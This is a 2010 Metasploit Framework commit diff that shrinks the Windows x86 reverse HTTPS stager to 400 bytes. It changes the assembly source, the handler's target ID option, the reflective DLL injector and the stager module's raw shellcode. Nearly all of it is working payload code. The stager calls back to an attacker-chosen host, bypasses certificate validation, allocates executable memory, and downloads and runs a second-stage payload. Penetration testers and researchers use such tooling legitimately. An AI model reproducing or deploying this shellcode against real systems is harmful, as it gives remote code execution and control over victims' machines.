Size tweaks to bring the ssl stager + encoder + target_id to exactly 400 bytes

git-svn-id: file:///home/svn/framework3/trunk@8998 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-03 07:48:53 +00:00 · 2010-04-03 07:48:53 +00:00 · c8defe9716
parent e4a17dd0ca
commit c8defe9716
4 changed files with 56 additions and 53 deletions
--- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm
+++ b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm
@ -28,7 +28,7 @@ internetopen:
  call ebp
  mov esi, eax           ; save the HINTERNET handle

-  jmp get_server_host
+  jmp dbl_get_server_host

 internetconnect:
  pop ebx                ; Save the hostname pointer
@ -43,7 +43,6 @@ internetconnect:
  push esi               ; HINTERNET hInternet
  push 0xC69F8957        ; hash( "wininet.dll", "InternetConnectA" )
  call ebp
-  mov esi, eax           ; hConnection

  jmp get_server_uri

@ -65,19 +64,19 @@ httpopenrequest:
  push edx               ; version
  push ecx               ; url
  push edx               ; method
-  push esi               ; hConnection
+  push eax               ; hConnection
  push 0x3B2E55EB        ; hash( "wininet.dll", "HttpOpenRequestA" )
  call ebp
  mov esi, eax           ; hHttpRequest

 httpsendrequest:
-  xor eax, eax
-  push eax               ; optional length
-  push eax               ; optional
-  push eax               ; dwHeadersLength
-  push eax               ; headers
+  xor ebx, ebx
+  push ebx               ; optional length
+  push ebx               ; optional
+  push ebx               ; dwHeadersLength
+  push ebx               ; headers
  push esi               ; hHttpRequest
-  push 0x7B18062D        ; hash( "wininet.dll", "InternetCloseHandleA" )
+  push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
  call ebp
  test eax,eax
  jnz short allocate_memory
@ -88,23 +87,33 @@ check_ssl:
 ; but its required to use this payload without a valid signed cert.
  push 0x5DE2C5AA        ; hash( "kernel32.dll", "GetLastError" )
  call ebp
-  cmp eax, 12045         ; ERROR_INTERNET_INVALID_CA
+  cmp al, 0x0d           ; ERROR_INTERNET_INVALID_CA (0x2f0d)
  jne failure

 ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
 set_security_options:
  push 0x00003380
  mov eax, esp
-  push 4                 ; sizeof(dwFlags)
+  push byte 4            ; sizeof(dwFlags)
  push eax               ; &dwFlags
  push byte 31           ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
  push esi               ; hRequest
  push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
  call ebp
-  pop eax                ; clear temporary storage
+  ; pop eax                ; clear temporary storage (optional)
+
  ; Try it again
  jmp short httpsendrequest

+dbl_get_server_host:
+  jmp get_server_host
+
+get_server_uri:
+  call httpopenrequest
+
+server_uri:
+ db "/12345", 0x00
+
 failure:
  push 0x56A2B5F0        ; hardcoded to exitprocess for size
  call ebp
@ -113,43 +122,38 @@ allocate_memory:
  push byte 0x40         ; PAGE_EXECUTE_READWRITE
  push 0x1000            ; MEM_COMMIT
  push 0x00400000        ; Stage allocation (8Mb ought to do us)
-  push byte 0            ; NULL as we dont care where the allocation is.
+  push ebx               ; NULL as we dont care where the allocation is (zero'd from the prev function)
  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

 download_prep:
  xchg eax, ebx          ; place the allocated base address in ebx
  push ebx               ; store a copy of the stage base address on the stack
-  push byte 0            ; temporary storage for bytes read count
+  push ebx               ; temporary storage for bytes read count
  mov edi, esp           ; &bytesRead

 download_more:
  push edi               ; &bytesRead
-  push 8192              ; 8k read
+  push ebx               ; buffer as the length, seems to work (Win7)
  push ebx               ; buffer
  push esi               ; hRequest
  push 0xE2899612        ; hash( "wininet.dll", "InternetReadFile" )
  call ebp

-  test eax,eax           ; download failed?
+  test eax,eax           ; download failed? (optional?)
+
  jz failure

  mov eax, [edi]
  add ebx, eax           ; buffer += bytes_received

-  test eax,eax
+  test eax,eax           ; optional?
  jnz download_more      ; continue until it returns 0
  pop eax                ; clear the temporary storage

 execute_stage:
  ret                    ; dive into the stored stage address

-get_server_uri:
-  call httpopenrequest
-
-server_uri:
-  db "/123456789", 0x00
-
 get_server_host:
  call internetconnect

--- a/lib/msf/core/handler/reverse_https.rb
+++ b/lib/msf/core/handler/reverse_https.rb
@ -39,7 +39,7 @@ module ReverseHttps
 			[
 				OptString.new('LHOST', [ true, "The local listener hostname" ]),
 				OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
-				OptString.new('TARGETID', [ false, "The ID of this specific payload instance", Rex::Text.rand_text_alphanumeric(8)]),
+				OptString.new('TARGETID', [ false, "The ID of this specific payload instance (4 bytes max)", Rex::Text.rand_text_alphanumeric(4)]),
 			], Msf::Handler::ReverseHttps)
 	end

--- a/lib/msf/core/payload/windows/reflectivedllinject.rb
+++ b/lib/msf/core/payload/windows/reflectivedllinject.rb
@ -104,7 +104,7 @@ module Payload::Windows::ReflectiveDllInject
 			i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
 			if i
 				t = target_id.to_s
-				raise "Target ID must be less than 9 bytes" if t.length > 8
+				raise "Target ID must be less than 5 bytes" if t.length > 4
 				u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
 				print_status("Patching Target ID #{t} into DLL")
 				dll[i, u.length] = u
--- a/modules/payloads/stagers/windows/reverse_https.rb
+++ b/modules/payloads/stagers/windows/reverse_https.rb
@ -34,34 +34,33 @@ module Metasploit3
 				{
 					'Offsets' =>
 						{
-							 'EXITFUNC' => [ 295, 'V' ],
-							 'LPORT'    => [ 195, 'v' ], # Not a typo, really little endian
+							 'EXITFUNC' => [ 297, 'V' ],
+							 'LPORT'    => [ 192, 'v' ], # Not a typo, really little endian
 						},
 					'Payload' =>
-						"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
-						"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
-						"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-						"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-						"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-						"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-						"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-						"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-						"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-						"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
-						"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
-						"\xFF\xD5\x89\xC6\xE9\xBC\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03" +
-						"\x51\x51\x68\x5C\x11\x00\x00\x53\x56\x68\x57\x89\x9F\xC6\xFF\xD5" +
-						"\x89\xC6\xE9\x8E\x00\x00\x00\x59\x31\xD2\x52\x68\x00\x32\xE0\x84" +
-						"\x52\x52\x52\x51\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x31" +
-						"\xC0\x50\x50\x50\x50\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75" +
-						"\x2C\x68\xAA\xC5\xE2\x5D\xFF\xD5\x3D\x0D\x2F\x00\x00\x75\x17\x68" +
-						"\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E" +
-						"\x86\xFF\xD5\x58\xEB\xC9\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68" +
-						"\x00\x10\x00\x00\x68\x00\x00\x40\x00\x6A\x00\x68\x58\xA4\x53\xE5" +
-						"\xFF\xD5\x93\x53\x6A\x00\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56" +
-						"\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCB\x8B\x07\x01\xC3\x85" +
-						"\xC0\x75\xE5\x58\xC3\xE8\x6D\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
-						"\x36\x37\x38\x39\x00\xE8\x3F\xFF\xFF\xFF"
+"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
+"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
+"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
+"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
+"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
+"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
+"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
+"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
+"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
+"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
+"\xFF\xD5\x89\xC6\xEB\x64\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68" +
+"\x5C\x11\x00\x00\x53\x56\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x4D\x59" +
+"\x31\xD2\x52\x68\x00\x32\xE0\x84\x52\x52\x52\x51\x52\x50\x68\xEB" +
+"\x55\x2E\x3B\xFF\xD5\x89\xC6\x31\xDB\x53\x53\x53\x53\x56\x68\x2D" +
+"\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x36\x68\xAA\xC5\xE2\x5D\xFF\xD5" +
+"\x3C\x0D\x75\x24\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F" +
+"\x56\x68\x75\x46\x9E\x86\xFF\xD5\xEB\xCD\xEB\x45\xE8\xAE\xFF\xFF" +
+"\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A" +
+"\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xA4\x53" +
+"\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x53\x53\x56\x68\x12\x96\x89" +
+"\xE2\xFF\xD5\x85\xC0\x74\xD1\x8B\x07\x01\xC3\x85\xC0\x75\xE9\x58" +
+"\xC3\xE8\x50\xFF\xFF\xFF"

 				}
 			))
@ -77,9 +76,9 @@ module Metasploit3
 	def generate
 		p = super

-		i = p.index("/123456789\x00")
+		i = p.index("/12345\x00")
 		u = "/A" + datastore['TARGETID'].to_s + "\x00"
-		raise ArgumentError, "TARGETID can be 8 bytes long at the most" if u.length > 11
+		raise ArgumentError, "TARGETID can be 4 bytes long at the most" if u.length > 7

 		p[i, u.length] = u
 		p + datastore['LHOST'].to_s + "\x00"